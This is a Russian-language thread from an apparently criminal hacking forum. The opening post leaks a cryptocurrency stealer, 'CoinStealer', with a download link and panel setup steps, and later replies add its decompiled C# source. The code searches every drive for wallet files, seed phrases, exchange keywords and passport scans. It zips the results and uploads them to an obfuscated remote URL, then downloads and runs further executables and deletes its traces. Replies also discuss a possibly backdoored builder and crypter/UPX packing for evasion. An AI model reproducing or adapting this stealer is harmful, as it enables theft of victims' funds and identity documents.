• XSS.stack #1 – первый литературный журнал от юзеров форума

Простой стилер криптовалют CoinStealer 1.0

Mirder

HDD-drive
Пользователь
Регистрация
17.10.2019
Сообщения
46
Реакции
25
Предистория:
Был у меня товарищ, так сказать по партии, которого я знаю долгое время... Недавно приключилась неприятная история, в результате которой он меня нагрел на около штуки баксов в битках. Блэк я на него писать не хочу, потому как не знаю на каких бордах он есть, да и логи я с давними знакомыми не веду...
В общем есть у меня его стилер, который он кодил и любезно поделился со мной. Я подумал, что будет справедливо, если я выложу этот стилер в паблик, пускай и ему будет больно...))

Сам стилер простой как двери, но очень эффективный в определённых ситуациях.
Этот стилер предназначен для точечьных атак, массово его лить не имеет смысла, ну только если у вас один криптотраф.
Работа стилера заключается в том, что он тупо переберает все файлы на компьютере и подключённых флешках и собирает файлы в названии которых присутствуют ключевые слова (bitcoin, blockchain, seed и т.д.). Также стилак проверяет на вхождения этих слов внутренности всех тхт файлов, которые найдёт. Ещё он собирает данные популярных криптокошельков, таких как exodus, electrum, bitcoin core и находит их не только в стандартных местах, а по всей файловой системе. Так же имеет интересное свойство, из-за вхождения слова pass стилит ксерокопии паспортов))
Куки и сохранённые пассы в браузерах не стилит!

На склейки я вроде проверял, но кому боязно, вы знаете что делать. На вирустотал просьба не кидать, бо я этим стилером и сам иногда пользуюсь, очень иногда выручает...
Вот жаба автора, чтобы не говорили что я у него его украл: sumobink@exploit.im

Для установки необходимо залить панель на хостинг, затем зайти браузером на файл install.php, там ввести новый пароль от админки, после чего скрипт вам выдаст урл, который надо вставлять в билдер при билде стилера и урл для логина в админку. Сохраните их, чтобы не забыть...

Собственно ссылка на стиллер:
 
Скрой репутацией
Да я наоборот хотел, чтобы люди пользовались. В нём никаких приват технологий нет, любой кодер может такое накодить.
Кстати ТС, если этот CoinStealer с сайта blackhatrussia то там все протроянено, все что там выложено полное говно с склейками.
Этого стилера в паблике не было, склеек тут нет. Сам стилер 15 килобайт весит, куда там что клеить. Тем более он на шарпе, можно весь просмотреть подробно.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Тем более он на шарпе, можно весь просмотреть подробно.
Тогда мы декомпилим и посмотрим что внутри.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
На вирустотал просьба не кидать, бо я этим стилером и сам иногда пользуюсь, очень иногда выручает...
Поздно, сеня
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Может, я и отношусь плохо к СиСярпу, но бл%, стиллер на C# с дот нетом ?...
ты просто не понял о чем речь)))) речь не за шарп а за то как упакован аж тремя протекторами данный билдер
 
ты просто не понял о чем речь)))) речь не за шарп а за то как упакован аж тремя протекторами данный билдер
Если вас смущает, что билдер обфусцирован запускайте его на виртуалке, сам готовый стилер ничем не упакован и не накрыт.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Если вас смущает, что билдер обфусцирован запускайте его на виртуалке, сам готовый стилер ничем не упакован и не накрыт.
а ничего что он прогнан через 3 протектора?))
 
а ничего что он прогнан через 3 протектора?))
Вам обязательно нужно посмотреть что внутри билдера? Если заморочиться можно конечно протекторы и поснимать. Но всегда можно поснифать траф, за активностью понаблюдать. Я сколько за ним не следил, никаких он действий акромя как билдит стилер не производит.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вам обязательно нужно посмотреть что внутри билдера? Если заморочиться можно конечно протекторы и поснимать. Но всегда можно поснифать траф, за активностью понаблюдать. Я сколько за ним не следил, никаких он действий акромя как билдит стилер не производит.
да все норм никуда он не стучит файл чистый по крайней мере билдер и по детектам у билдера все чисто
 
а ничего что он прогнан через 3 протектора?))
это не три протектора, три протектора бы сломали файл.Я ща его поизучал, софт накрыт старым SmartAssembly 6-ой версии.Определяет три протектора по методам защиты, схожими с другими обфускаторами.Почти вся обфускация снимается через SAE.Некоторые вещи меня напрягают.Разбрасываться обвинениями не буду, но:
Билдер получает путь к .exeшнику в стартапе:
1632327302126.png

1632327318728.png

2) После чего передает полученный результат(переменная text) в метод BoM58yEKH.Сам метод выглядит вот так:
1632327591329.png

Метод m00002d(который в конце) выглядит вот так:
1632327639824.png

Можно сделать вывод, что что-то дропается в стартап компа, где был запущен билдер.
Билдер прогнанный через SAE --> https://anonfiles.com/N4N9ceJ5ub/CoinBuilder.Deobf_exe
 
Пожалуйста, обратите внимание, что пользователь заблокирован
это не три протектора, три протектора бы сломали файл.Я ща его поизучал, софт накрыт старым SmartAssembly 6-ой версии.Определяет три протектора по методам защиты, схожими с другими обфускаторами.Почти вся обфускация снимается через SAE.Некоторые вещи меня напрягают.Разбрасываться обвинениями не буду, но:
Билдер получает путь к .exeшнику в стартапе:
Посмотреть вложение 27418
Посмотреть вложение 27419
2) После чего передает полученный результат(переменная text) в метод BoM58yEKH.Сам метод выглядит вот так:
Посмотреть вложение 27420
Метод m00002d(который в конце) выглядит вот так:
Посмотреть вложение 27421
Можно сделать вывод, что что-то дропается в стартап компа, где был запущен билдер.
Билдер прогнанный через SAE --> https://anonfiles.com/N4N9ceJ5ub/CoinBuilder.Deobf_exe
насчет сломанного файла может быть но может и не сломать смотря как сделать это все.
я давненько когда ничего толком не умел прогонял через 2 обфускатора и файл оставался рабочим но самое херовое то что чтобы твой файл отработал дропается 2 файла с последнего запротектченного файла уже идет дроп твоего билда и потом запуск этого билда короче херня полная но по сути все работает.
 
оставлю здесь :
киноха длиться 4 минуты ( урезал от 10 минут )
Билд выплюнул в TEMP историю браузера и ещё кучу чего то ...
Ни куда не стукнулся ни билдер ни билд собственно .
Можно меня обвинить в "левой" ссылке на гейт ,
НО други : билд пока не стукнет - не узнает об этом..
А билд 10минут (КАРЛ 10 минут !!!) чего то стилил ....
Это нормально ?
Кино снято на живой ( моей ) системе .
Билд в лёгкую убивается в диспетчере задач , ибо висел там 10 минут ...
Даты на выплюнутых файлах ни кого не смущают ?

 
оставлю здесь :
киноха длиться 4 минуты ( урезал от 10 минут )
Билд выплюнул в TEMP историю браузера и ещё кучу чего то ...
Ни куда не стукнулся ни билдер ни билд собственно .
Можно меня обвинить в "левой" ссылке на гейт ,
НО други : билд пока не стукнет - не узнает об этом..
А билд 10минут (КАРЛ 10 минут !!!) чего то стилил ....
Это нормально ?
Кино снято на живой ( моей ) системе .
Билд в лёгкую убивается в диспетчере задач , ибо висел там 10 минут ...
Даты на выплюнутых файлах ни кого не смущают ?

капец ты запарился
 
Пожалуйста, обратите внимание, что пользователь заблокирован
C#:
internal class Program
  {
    private DriveInfo[] Drives = DriveInfo.GetDrives();
    private string result_filename;
    private DateTime nowTime = DateTime.Now;
    private long finalsize;
    private static Encoding enc8 = Encoding.UTF8;
    private string pathfiles = Path.GetTempPath() + "000" + Program.Randintnum(9) + "logs//";
    private string temp = Path.GetTempPath() + "00" + Program.Randintnum(9) + "logs//";
    private string filePath = Path.GetTempPath() + Program.Randintnum(9) + ".zip";

    [DllImport("user32.dll", CharSet = CharSet.Auto)]
    private static extern int SystemParametersInfo(
      uint action,
      uint uParam,
      string vParam,
      uint winIni);

    private static void Main(string[] args) => new Program().letsgo();

    public static string CreateName()
    {
      int num = new Random().Next(3, 9);
      StringBuilder stringBuilder = new StringBuilder();
      using (RNGCryptoServiceProvider rnd = new RNGCryptoServiceProvider())
      {
        while (num-- > 0)
          stringBuilder.Append("abcdefghijklmnopqrstuvwxyz"[Program.GetInt(rnd, "abcdefghijklmnopqrstuvwxyz".Length)]);
      }
      return stringBuilder.ToString();
    }

    public static int GetInt(RNGCryptoServiceProvider rnd, int max)
    {
      byte[] data = new byte[4];
      int num;
      do
      {
        rnd.GetBytes(data);
        num = BitConverter.ToInt32(data, 0) & int.MaxValue;
      }
      while (num >= max * (int.MaxValue / max));
      return num % max;
    }

    public void letsgo()
    {
      string processName = Process.GetCurrentProcess().ProcessName;
      string[] words = new string[30]
      {
        ".lnk",
        "NEWS",
        "langpack",
        "EULA",
        "README",
        "license",
        "License",
        "History",
        "changelog",
        "logtrack",
        "HISTORY",
        "Grammar",
        "Readme",
        "tokenize",
        "COPYING",
        "copying",
        "ReleaseNotes",
        "LICENSE",
        "i18n",
        "Instruction",
        "ReadMe",
        "GPL",
        "news",
        "readme",
        "changes",
        "System",
        "grammar",
        "service",
        "Shield",
        "Install"
      };
      foreach (DriveInfo drive in this.Drives)
      {
        try
        {
          this.parsedira(drive.RootDirectory.ToString(), words);
        }
        catch (IOException ex)
        {
        }
      }
      this.checks(this.temp);
      Thread.Sleep(10000);
      this.Sendfiles(this.pathfiles);
      Application.Exit();
    }

    public static string Randintnum(int length)
    {
      StringBuilder stringBuilder = new StringBuilder();
      using (RNGCryptoServiceProvider rnd = new RNGCryptoServiceProvider())
      {
        while (length-- > 0)
          stringBuilder.Append("1234567890"[Program.GetInt(rnd, "1234567890".Length)]);
      }
      return stringBuilder.ToString();
    }

    public void parsedira(string location, string[] words)
    {
      string[] files = Directory.GetFiles(location);
      string[] directories = Directory.GetDirectories(location);
      if (location.Contains("WINDOWS") || location.Contains("Temp") || (location.Contains("ProgramData") || location.Contains("Microsoft")) || (location.Contains("RECYCLER") || location.Contains("Program Files") || (location.Contains("RECYCLE.BIN") || location.Contains("Recycler"))) || (location.Contains("TEMP") || location.Contains("Program Files (x86)") || (location.Contains("Windows") || location.Contains("Recycle.Bin"))))
        return;
      for (int index = 0; index < files.Length; ++index)
      {
        try
        {
          DateTime lastWriteTime = System.IO.File.GetLastWriteTime(files[index]);
          DateTime dateTime = new DateTime(2012, 1, 1, 0, 0, 0);
          if (!files[index].Contains(".lnk"))
          {
            if (!files[index].Contains("NEWS"))
            {
              if (!files[index].Contains("langpack"))
              {
                if (!files[index].Contains("EULA"))
                {
                  if (!files[index].Contains("README"))
                  {
                    if (!files[index].Contains("license"))
                    {
                      if (!files[index].Contains("License"))
                      {
                        if (!files[index].Contains("History"))
                        {
                          if (!files[index].Contains("changelog"))
                          {
                            if (!files[index].Contains("logtrack"))
                            {
                              if (!files[index].Contains("HISTORY"))
                              {
                                if (!files[index].Contains("Grammar"))
                                {
                                  if (!files[index].Contains("Readme"))
                                  {
                                    if (!files[index].Contains("tokenize"))
                                    {
                                      if (!files[index].Contains("COPYING"))
                                      {
                                        if (!files[index].Contains("copying"))
                                        {
                                          if (!files[index].Contains("ReleaseNotes"))
                                          {
                                            if (!files[index].Contains("LICENSE"))
                                            {
                                              if (!files[index].Contains("i18n"))
                                              {
                                                if (!files[index].Contains("Instruction"))
                                                {
                                                  if (!files[index].Contains("ReadMe"))
                                                  {
                                                    if (!files[index].Contains("GPL"))
                                                    {
                                                      if (!files[index].Contains("news"))
                                                      {
                                                        if (!files[index].Contains("readme"))
                                                        {
                                                          if (!files[index].Contains("changes"))
                                                          {
                                                            if (!files[index].Contains("System"))
                                                            {
                                                              if (!files[index].Contains("grammar"))
                                                              {
                                                                if (!files[index].Contains("service"))
                                                                {
                                                                  if (!files[index].Contains("Shield"))
                                                                  {
                                                                    if (!files[index].Contains("Install"))
                                                                    {
                                                                      if (!(dateTime > lastWriteTime))
                                                                        this.parsefile(files[index]);
                                                                    }
                                                                  }
                                                                }
                                                              }
                                                            }
                                                          }
                                                        }
                                                      }
                                                    }
                                                  }
                                                }
                                              }
                                            }
                                          }
                                        }
                                      }
                                    }
                                  }
                                }
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
        catch (UnauthorizedAccessException ex)
        {
        }
        catch (Exception ex)
        {
        }
      }
      for (int index = 0; index < directories.Length; ++index)
      {
        try
        {
          this.parsedira(directories[index], words);
        }
        catch (UnauthorizedAccessException ex)
        {
        }
        catch (Exception ex)
        {
        }
      }
    }

    public void Savefile(string file, long filesize, string path, string maiak)
    {
      this.result_filename = Path.GetFileName(file);
      this.finalsize = filesize + this.finalsize;
      string extension = Path.GetExtension(file);
      try
      {
        if (!Directory.Exists(this.pathfiles))
          Directory.CreateDirectory(this.pathfiles).Attributes = FileAttributes.Hidden | FileAttributes.Directory;
        if (!Directory.Exists(this.pathfiles + path))
          Directory.CreateDirectory(this.pathfiles + path).Attributes = FileAttributes.Hidden | FileAttributes.Directory;
        if (extension == ".txt")
        {
          string destFileName = this.pathfiles + path + "/" + maiak + this.result_filename;
          System.IO.File.Copy(file, destFileName, true);
        }
        else
        {
          string destFileName = this.pathfiles + path + "/" + (object) filesize + "_" + maiak + this.result_filename;
          System.IO.File.Copy(file, destFileName, true);
        }
      }
      catch
      {
      }
      if (this.finalsize <= 20000000L)
        return;
      this.Sendfiles(this.pathfiles);
      Environment.Exit(0);
      Application.Exit();
      Application.Exit();
    }

    public void Check(string file, long filesize, string extension)
    {
      long num = 1548576;
      string[] strArray1 = new string[32]
      {
        "pass",
        "seed",
        "blockchain",
        "psw",
        "screenshot",
        "wallet",
        "mbhd",
        "electrum",
        "btc",
        "key",
        "2fa",
        "crypto",
        "coin",
        "private",
        "yobit",
        "binance",
        "huobi",
        "exmo",
        "okex",
        "hitbtc",
        "bitfinex",
        "bittrex",
        "poloniex",
        "kraken",
        "cryptonator",
        "dogechain",
        "payeer",
        "ethereum",
        "jaxx",
        "exodus",
        "metamask",
        "auth"
      };
      string[] strArray2 = new string[25]
      {
        "seed ",
        "blockchain",
        "wallet",
        "pass",
        "electrum",
        "btc",
        "2fa ",
        "coin",
        "private",
        "yobit",
        "binance",
        "huobi",
        "exmo",
        "okex",
        "hitbtc",
        "bitfinex",
        "bittrex",
        "poloniex",
        "kraken",
        "cryptonator",
        "dogechain",
        "payeer",
        "ethereum",
        "jaxx",
        "exodus"
      };
      string[] strArray3 = new string[6]
      {
        ".txt",
        ".doc",
        ".docx",
        ".jpg",
        ".jpeg",
        ".png"
      };
      string[] strArray4 = new string[2]
      {
        ".seco",
        ".localstorage"
      };
      string[] strArray5 = new string[5]
      {
        "announcements.json",
        "market-history-cache.json",
        "window-state.json",
        "passphrase.json",
        "exodus.conf.json"
      };
      string str1 = "market-history-cache";
      if (filesize >= num && !file.Contains(str1))
        return;
      this.result_filename = Path.GetFileName(file);
      if (((IEnumerable<string>) strArray4).Contains<string>(extension))
      {
        this.Savefile(file, filesize, "wal", "");
        Thread.Sleep(10);
      }
      else if (this.result_filename.Contains("wallet") || this.result_filename.Contains("mbhd"))
      {
        this.Savefile(file, filesize, "wal", "");
        Thread.Sleep(10);
      }
      else
      {
        for (int index = 0; index < strArray5.Length; ++index)
        {
          try
          {
            if (this.result_filename.Contains(strArray5[index]))
            {
              this.Savefile(file, filesize, "wal", "");
              Thread.Sleep(10);
              return;
            }
          }
          catch (Exception ex)
          {
          }
        }
        for (int index1 = 0; index1 < strArray1.Length; ++index1)
        {
          for (int index2 = 0; index2 < strArray3.Length; ++index2)
          {
            try
            {
              if (this.result_filename.Contains(strArray1[index1]) & this.result_filename.Contains(strArray3[index2]))
              {
                this.Savefile(file, filesize, "name", "");
                Thread.Sleep(10);
                return;
              }
            }
            catch (Exception ex)
            {
            }
          }
        }
        if (!(extension == ".txt"))
          return;
        string str2 = System.IO.File.ReadAllText(file, Encoding.GetEncoding(1251));
        for (int index = 0; index < strArray1.Length; ++index)
        {
          if (str2.IndexOf(strArray2[index]) > -1)
          {
            string maiak = strArray2[index] + "_";
            this.Savefile(file, filesize, "txt", maiak);
            Thread.Sleep(10);
            break;
          }
        }
      }
    }

    private void Sendfiles(string pathfiles)
    {
      string address = "1990:22googl4.5om2fol3462g794.010?v=u0&6=377511536445559985474885389800938951784040455953881155737559".Replace("1", "h").Replace("2", "/").Replace("8", "w").Replace("3", "d").Replace("5", "c").Replace("6", "r").Replace("7", "a").Replace("4", "e").Replace("0", "p").Replace("9", "t");
      ZipFile.CreateFromDirectory(pathfiles, this.filePath);
      NameValueCollection nameValueCollection = new NameValueCollection()
      {
        {
          "v",
          "up"
        }
      };
      try
      {
        using (WebClient webClient = new WebClient())
        {
          webClient.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
          webClient.QueryString = nameValueCollection;
          string str = Encoding.UTF8.GetString(webClient.UploadFile(address, this.filePath));
          if (str.Length > 5)
          {
            string[] strArray = str.Replace("  ", " ").Split(new char[1]
            {
              ' '
            }, StringSplitOptions.RemoveEmptyEntries);
            for (int index = 0; index < 2; ++index)
            {
              string uriString = Encoding.UTF8.GetString(Convert.FromBase64String(strArray[index]));
              string fileName = Path.GetTempPath() + Program.CreateName() + ".exe";
              webClient.DownloadFile(new Uri(uriString), fileName);
              Process.Start(fileName);
            }
          }
        }
      }
      catch (Exception ex)
      {
      }
      try
      {
        Thread.Sleep(5000);
        System.IO.File.Delete(this.filePath);
        Directory.Delete(pathfiles, true);
        Directory.Delete(this.temp, true);
      }
      catch (Exception ex)
      {
      }
    }

    public void checks(string location)
    {
      string[] files = Directory.GetFiles(location);
      string[] directories = Directory.GetDirectories(location);
      for (int index = 0; index < files.Length; ++index)
      {
        try
        {
          long length = new FileInfo(files[index]).Length;
          this.Check(files[index], length, ".txt");
        }
        catch (Exception ex)
        {
        }
      }
      for (int index = 0; index < directories.Length; ++index)
      {
        try
        {
          this.checks(directories[index]);
        }
        catch (UnauthorizedAccessException ex)
        {
        }
        catch (Exception ex)
        {
        }
      }
    }

    public void parsefile(string file)
    {
      long num = 1000024;
      long length = new FileInfo(file).Length;
      string extension = Path.GetExtension(file);
      if (extension == ".txt" & length < num)
      {
        if (!Directory.Exists(this.temp))
          Directory.CreateDirectory(this.temp).Attributes = FileAttributes.Hidden | FileAttributes.Directory;
        this.result_filename = Path.GetFileName(file);
        string destFileName = this.temp + (object) length + "_" + this.result_filename;
        System.IO.File.Copy(file, destFileName, true);
        Thread.Sleep(10);
      }
      else
        this.Check(file, length, extension);
    }
  }
}
 
отработал дропается 2 файла с последнего запротектченного файла уже идет дроп твоего билда и потом запуск этого билда короче херня полная но по сути все работает.
Ты хоть знаешь как протекторы работают?) Там никаких дропов и прочей х#йни нету(редкие исключения - рантайм вмок).Где ты вообще дроп нашел?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ты хоть знаешь как протекторы работают?) Там никаких дропов и прочей х#йни нету(редкие исключения - рантайм вмок).Где ты вообще дроп нашел?
немного перепутал я не протекторы юзал а этот криптор через него раньше прогонял 2-3 раза 1 файлик
"pe-union"
прогоняешь через него билд потом готовый файл прогоняешь через upx, после upx опять прогоняешь через "pe-union" и потом опять делаешь через upx и тд.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх